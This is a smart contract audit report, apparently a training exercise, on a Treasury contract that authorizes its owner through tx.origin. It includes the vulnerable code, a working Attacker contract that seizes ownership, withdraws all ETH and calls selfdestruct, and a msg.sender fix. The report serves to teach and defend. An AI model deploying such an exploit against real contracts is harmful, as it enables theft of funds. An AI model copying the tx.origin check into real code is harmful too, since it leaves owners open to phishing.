SECURITY AUDIT REPORT: TREASURY PROTOCOL

PROJECT ..... Treasury Protocol

REPOSITORY https://github.com/molalign8468/30-day-security-sprint

COMMIT HASH 1eb088cd3b0e09b95155ab74cdd605861aff7c1e

AUDIT DATE ..... February 14, 2026

AUDITOR ..... Molalign Getahun

Executive Summary

Status: ***CRITICAL RISK***

The Treasury contract contains one critical severity vulnerability that enables an attacker to drain 100% of the contract's ETH balance and selfdestruct due to the improper use of tx.origin for authorization checks, which allows an attacker to bypass access control via phishing.The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	1	Unresolved
High	0	-
Medium	0	-
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
Day3_access_control.sol	Smart Contract	changeOwner, withdraw, kill and onlyOwner modifier logic

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Common vulnerability pattern analysis (SWC)

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk
Informational	Best practices

Findings Summary

ID	Severity	Title
CRIT-01	Critical	Improper Authorization Using tx.origin

Detailed Findings

[CRIT-01] Improper Authorization Using tx.origin

Severity: Critical

Location: Day3_access_control.sol:L10–L13

Reference: SWC-115 – Authorization through tx.origin

Description

The contract uses tx.origin for access control validation in the onlyOwner modifier. This is insecure because tx.origin refers to the original external account that initiated the transaction, not the immediate caller.

An attacker can deploy a malicious contract and trick the owner into interacting with it. When the malicious contract calls privileged functions on the Treasury contract, the tx.origin check will pass, allowing unauthorized access.

Impact

- ✓ Ownership can be transferred
- ✓ All ETH can be withdrawn
- ✓ Contract can be permanently destroyed

Risk Evaluation

- ✓ Impact: **Critical** full fund loss and permanent contract destruction.
- ✓ Likelihood: **Medium** requires successful phishing of the contract owner.
- ✓ Overall Severity: **Critical**.

Proof of Concept

Vulnerable Contract

```
modifier onlyOwner(){
    require(tx.origin == owner,"Only Owner");
    _;
}
function changeOwner(address _newOwner) external onlyOwner {
    owner = _newOwner;
}
function withdraw() external onlyOwner {
```

```
        require(address(this).balance > 0 ,"Low balance");
        (bool ok,)  = payable(msg.sender).call{value:address(this).balance}("");
        require(ok,"Transaction fail");
    }
    function kill(address _to) external onlyOwner{
        selfdestruct(payable(_to));
     }
```

Attacker Contract

```
contract Attacker {
    ITreasury public treasury;
    constructor(address _treasury){
        treasury = ITreasury(_treasury);
    }
    function attack() external{
        (bool ok,)  = address(treasury).call(abi.encodeWithSignature("changeOwner(address)", address(this)));
        require(ok,"Exploit  failed");
    }
    function killAttack()  external{
        treasury.kill(address(this));
    }
    function withdrawAttack() external{
        treasury.withdraw();
    }
    receive() external payable{}
}
```

Recommendation

- ✓ Replace tx.origin with msg.sender for access control validation.
- ✓ Avoid using selfdestruct entirely unless absolutely necessary.

```
     modifier onlyOwner(){

        require(msg.sender == owner,"Only Owner");
        _;
    }
```

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.